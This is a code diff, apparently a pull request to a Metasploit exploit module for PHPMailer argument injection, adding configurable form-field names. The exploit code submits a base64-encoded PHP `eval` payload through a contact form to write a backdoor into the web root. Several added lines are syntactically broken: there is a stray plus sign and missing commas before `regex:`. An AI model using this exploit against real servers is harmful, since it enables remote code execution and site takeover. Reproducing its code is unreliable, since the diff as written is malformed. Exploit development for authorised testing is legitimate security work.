Update on phpmailer_arg_injection.rb #15810

Added Regex to validate new options

Author: erikbomb

modules/exploits/multi/http/phpmailer_arg_injection.rb

@@ -60,7 +60,10 @@ def initialize(info = {})
       ])
     register_advanced_options(
       [
-        OptInt.new('WaitTimeout', [true, 'Seconds to wait to trigger the payload', 300])
+        OptInt.new('WaitTimeout', [true, 'Seconds to wait to trigger the payload', 300])+        
+        OptString.new('NameField', [true, 'Name of the element for the Name field', 'name'], regex: /^[a-z_]([a-z0-9_-]{0,31}|[a-z0-9_-]{0,30}\$)$/),
+        OptString.new('EmailField', [true, 'Name of the element for the Email field', 'email'] regex: /^[a-z_]([a-z0-9_-]{0,31}|[a-z0-9_-]{0,30}\$)$/),
+        OptString.new('MessageField', [true, 'Name of the element for the Message field', 'message'] regex: /^[a-z_]([a-z0-9_-]{0,31}|[a-z0-9_-]{0,30}\$)$/)
       ])
   end
 
@@ -98,6 +101,9 @@ def trigger(trigger_uri)
   end
 
   def exploit
+    name_field = datastore['NameField']
+    email_field = datastore['EmailField']
+    message_field = datastore['MessageField']
     payload_file_name = "#{rand_text_alphanumeric(8)}.php"
     payload_file_path = "#{datastore['WEB_ROOT']}/#{payload_file_name}"
 
@@ -111,9 +117,9 @@ def exploit
 
     data = Rex::MIME::Message.new
     data.add_part('submit', nil, nil, 'form-data; name="action"')
-    data.add_part("<?php eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>", nil, nil, 'form-data; name="name"')
-    data.add_part(email, nil, nil, 'form-data; name="email"')
-    data.add_part("#{rand_text_alphanumeric(2 + rand(20))}", nil, nil, 'form-data; name="message"')
+    data.add_part("<?php eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>", nil, nil, "form-data; name='#{name_field}'")
+    data.add_part(email, nil, nil, "form-data; name='#{email_field}'")
+    data.add_part("#{rand_text_alphanumeric(2 + rand(20))}", nil, nil, "form-data; name='#{message_field}'")
 
     print_status("Writing the backdoor to #{payload_file_path}")
     res = send_request_cgi(